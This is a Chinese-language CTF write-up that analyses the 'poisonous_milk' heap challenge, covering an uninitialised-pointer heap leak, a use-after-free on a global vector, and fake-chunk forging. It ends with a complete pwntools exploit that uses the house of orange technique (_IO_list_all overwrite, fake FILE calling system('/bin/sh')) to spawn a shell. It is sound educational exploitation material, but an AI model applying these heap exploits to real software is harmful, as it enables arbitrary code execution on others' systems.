首先,我们检查一下程序的保护机制
然后,我们用IDA分析一下,发现是c++写的程序,看起来复杂了很多,这些一大堆,作用只是打印菜单,那么我们把这个函数重命名为menu。
接下来,我们进入下一个函数查看,应该就是主功能区了。
为了便于分析,我们给函数重命名了
创建内容的函数里,最多输入86个字符
实际上只能输入85个字符,并且最后一个会被设置为0
接下来,是创建结构体
经过分析,这个结构体这样的
1 2 3 4 typedef struct milk { char *color; char *content; }
但是,这里初始color时,存在一个漏洞
[如果我们输入的color不存在,那么结构体里的color指针就不会初始化]{.mark} ,它的值就是其他的值。如果把这个结构体释放后再重新申请回来,如果color不存在,那么color指针就会保存着堆地址。因为这个位置正好对应fastbin的fd。这样,我们就可以泄露堆地址。
现在,[我们要弄清楚这个qword_203160到底是什么?]{.mark}
我们发现这个函数极其复杂
先放着,继续分析。
推测这玩意儿,应该是一个vector。我们来看看c++的vector的结构
1 2 3 4 5 6 7 8 9 10 11 12 template<class _Ty , class _Ax > class vector : public _Vector_val<_Ty, _Ax> { public: protected: pointer _Myfirst; pointer _Mylast; pointer _Myend; };
那么,我们现在可以确定,这个qword_203160就是一个vector了
1 2 3 4 5 typedef struct vector { void *start; void *end; void *capacity; }
为了方便,我们在IDA里重命名一下,现在我们看的清楚了,那个复杂的函数是vector的扩容操作,不用管。每次新增后,插入到end指针的位置,然后end指针向后偏移8字节。
分析后,我们知道了,程序中的存储结构
然后,我们继续分析,显示功能也没什么漏洞
Delete节点功能,删除一个节点后,vector的end指针做了相应的调整,那么end没有指向释放后的指针,虽然没有清空指针,也用不了UAF。
然后,我们看释放所有节点,以及vector对象本身的函数
注意到,释放vector后,没有把vector指针清零,又因为vector指针是放在bss段,是一个全局变量,其他函数可以使用,这意味着,[这个vector本身可以存着UAF漏洞。]{.mark}那么,我们把vector的内存申请回来,就能 [控制vector里的begin、end、capacity三个指针]{.mark} ,并且,我们把这些指针指向我们可以控制的区域,然后在可以控制的区域,布置下我们需要读写的地址,这样,我们就能实现任意地址读写操作。但是由于本程序没有edit功能,也就没有写,但是,我们可以伪造chunk,实现任意的free操作。从而利用。
那么,我们就开始攻击吧,首先泄露堆地址
1 2 3 4 5 6 7 8 create('a' *(0x10 -1 )) delete(0 ) create('b' *0x40 ) show()
由于创建时,大小受限制,我们创建不了unsorted bin访问的chunk,因此,我们需要来伪造unsorted bin chunk,然后利用控制vector的begin、end指针,在可控区域布下一个指针指向我们伪造的节点。
1 2 3 4 5 6 7 8 9 drink() create(p64(heap_base + 0xE50 ) + p64(heap_base + 0xE58 )) for i in range (2 ): create('g' *0x9 ) for i in range (3 ,1 ,-1 ): delete(i)
需要注意的一点是,我们提前创建了2个content大小为0x20的节点,然后释放,也就是说,在**[0x20的fastbin里有四个chunk,可以提供给后面的申请使用]{.mark}。并且我们是先drink释放了vector,然后才创建的。而不能先创建再drink,因为drink里面,会将我们放到0x20 fastbin的chunk给用掉(调试的时候发现)。之所以在前面先弄几个0x20的fastbin, [一方面,是为了缩短content与content之间的间隙,方便我们控制]{.mark},因为如果不这样,节点milk结构体会夹在content与content之间,不方便我们后面的控制。 [另一方面,是避免申请堆时,从我们辛苦得到的unsorted bin里切割。]{.mark}**
上面第二句代码,我们控制了vector的begin和end指针,但是为了不保证出错,我们要确保create时,[这个expand扩容操作,不要超过我们begin指针指向的那个位置所属堆的大小,不然扩容到后面的区域我们不可控]{.mark} 。导致show的时候出错,因为后面可能有无效地址。
比如我们的begin指针指向了heap_base+0xE50处,而**[heap_base+0xE50是我们待会申请的某个堆的地址,这个堆,我们最大申请0x60字节,最多写入85个字节,也就是我们最多可以在此处放8个节点指针。]{.mark}**扩容超出后,后面的内容我们控制不了,这样show时会导致出错。
这意味着,接下来的操作,我们在没有delete堆前的create操作,最多8次。这完全够用了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 payload = p64(0 ) + p64(0x21 ) payload += p64(0 ) + p64(heap_base+0xCD0 ) payload += p64(0 ) + p64(0x101 ) payload = payload.ljust(0x40 ,'a' ) create(payload) payload = 'b' *0x30 payload += p64(0 ) + p64(0x31 ) payload = payload.ljust(0x50 ,'b' ) create(payload) payload = p64(0 ) + p64(0x21 ) payload += 'c' *0x10 payload += p64(0 ) + p64(0x31 ) payload = payload.ljust(0x50 ,'c' ) create(payload)
现在堆伪造好了,我们要释放它,之前我们控制vector的begin指针**[heap_base+0xE50,]{.mark}**
因此,我们在**[heap_base+0xE50]{.mark}处 [放置伪造的节点的地址。]{.mark}**当然,还要把其他申请过的节点的地址放过来,这样,我们后续才能继续控制。
而通过精心布局,我们接下来申请一个堆,地址就找heap_base+0xE50处,我们就在这里写入几个节点的地址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 payload = p64(heap_base+0xCB0 ) payload += p64(heap_base+0xCB0 ) payload += p64(heap_base+0xC60 ) payload += p64(heap_base+0xD10 ) payload += p64(heap_base+0xD70 ) payload += p64(heap_base+0xD10 ) payload += p64(heap_base+0xD70 ) payload = payload.ljust(0x50 ,'c' ) create(payload)
我们在0和1处放置了一模一样的的fake_chunk地址,这样第一次我们delete(0)后,后面的内容上移动,那么我们继续show(0),显示的还是fake_chunk处的内容,这样,我们就能实现UAF。
接下来重点来了
1 2 3 4 delete(3 ) delete(2 ) delete(1 )
我们来看看bins的布局
因为fastbin和unsorted bin里有重合,我们将fastbin的几个chunk申请回来,就能控制unsorted bin里面的内容。这样,我们就能利用house of orange思想来getshell。并且,上面有好几个0x20的bins,用于提供给Milk结构体,而不会从unsorted bin里切割。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 fake_file = '/bin/sh\x00' + p64(0x60 ) fake_file += p64(0 ) + p64(_IO_list_all_addr-0x10 ) payload = 'a' *0x20 + fake_file create(payload.ljust(0x40 ,'\x00' )) fake_file = p64(0 ) + p64(heap_base + 0xD98 ) fake_file += p64(0 )*2 fake_file += p64(system_addr) create(fake_file.ljust(0x50 ,'\x00' )) sh.sendlineafter('>' ,'p' ) sh.sendlineafter('Input your flags (0-99):' ,'f' *0x40 )
如果getshell失败,可以多试几次,这是由于栈环境的问题。
综上,我们的exp脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 from pwn import * sh = process('./poisonous_milk' ) libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so' ) malloc_hook_s = libc.symbols['__malloc_hook' ] _IO_list_all_s = libc.symbols['_IO_list_all' ] system_s = libc.sym['system' ] def create (payload ): sh.sendlineafter('>' ,'p' ) sh.sendlineafter('Input your flags (0-99):' ,payload) sh.sendlineafter("Input your milk's color:" ,"" ) def delete (index ): sh.sendlineafter('>' ,'r' ) sh.sendlineafter('Give the index :' ,str (index)) def show (): sh.sendlineafter('>' ,'v' ) def drink (): sh.sendlineafter('>' ,'d' ) create('a' *(0x10 -1 )) delete(0 ) create('b' *0x40 ) show() sh.recvuntil('[0] [' ) heap_addr = u64(sh.recvuntil(']' ,drop = True ).ljust(8 ,'\x00' )) heap_base = heap_addr - 0xC88 print 'heap_base=' ,hex (heap_base) drink() create(p64(heap_base + 0xE50 ) + p64(heap_base + 0xE58 )) for i in range (2 ): create('g' *0x9 ) for i in range (3 ,1 ,-1 ): delete(i) payload = p64(0 ) + p64(0x21 ) payload += p64(0 ) + p64(heap_base+0xCD0 ) payload += p64(0 ) + p64(0x101 ) payload = payload.ljust(0x40 ,'a' ) create(payload) payload = 'b' *0x30 payload += p64(0 ) + p64(0x31 ) payload = payload.ljust(0x50 ,'b' ) create(payload) payload = p64(0 ) + p64(0x21 ) payload += 'c' *0x10 payload += p64(0 ) + p64(0x31 ) payload = payload.ljust(0x50 ,'c' ) create(payload) payload = p64(heap_base+0xCB0 ) payload += p64(heap_base+0xCB0 ) payload += p64(heap_base+0xC60 ) payload += p64(heap_base+0xD10 ) payload += p64(heap_base+0xD70 ) payload += p64(heap_base+0xD10 ) payload += p64(heap_base+0xD70 ) payload = payload.ljust(0x50 ,'c' ) create(payload) delete(0 ) show() sh.recvuntil(']' ) sh.recvuntil('] ' ) main_arena_88 = u64(sh.recvuntil('\n' ,drop = True ).ljust(8 ,'\x00' )) malloc_hook_addr = (main_arena_88 & 0xFFFFFFFFFFFFF000 ) + (malloc_hook_s & 0xFFF ) libc_base = malloc_hook_addr - malloc_hook_s _IO_list_all_addr = libc_base + _IO_list_all_s libc_base = _IO_list_all_addr - _IO_list_all_s system_addr = libc_base + system_s print 'libc_base=' ,hex (libc_base) print '_IO_list_all_addr=' ,hex (_IO_list_all_addr) print 'system_addr=' ,hex (system_addr) delete(3 ) delete(2 ) delete(1 ) '''''#执行vtable的函数时,FILE结构体地址被作为参数,因此,我们在最开头写/bin/sh字符串 fake_file = '/bin/sh\x00' + p64(0x60) #size作为0x60,被放入small_bin,从而对应了chain指针 #unsorted bin attack,修改_IO_list_all为main_arena+88 fake_file += p64(0) + p64(_IO_list_all_addr-0x10) #_IO_write_base < _IO_write_ptr fake_file += p64(0) + p64(1) fake_file = fake_file.ljust(0xC0,'\x00') fake_file += p64(0)*3 #vtable指针,同时,也作为fake_vtable的__dummy fake_file += p64(heap_base + 0x5E8) #__dummy2、__finish fake_file += p64(0)*2 #__overflow fake_file += p64(system_addr) ''' fake_file = '/bin/sh\x00' + p64(0x60 ) fake_file += p64(0 ) + p64(_IO_list_all_addr-0x10 ) payload = 'a' *0x20 + fake_file create(payload.ljust(0x40 ,'\x00' )) fake_file = p64(0 ) + p64(heap_base + 0xD98 ) fake_file += p64(0 )*2 fake_file += p64(system_addr) create(fake_file.ljust(0x50 ,'\x00' )) sh.sendlineafter('>' ,'p' ) sh.sendlineafter('Input your flags (0-99):' ,'f' *0x40 ) sh.interactive()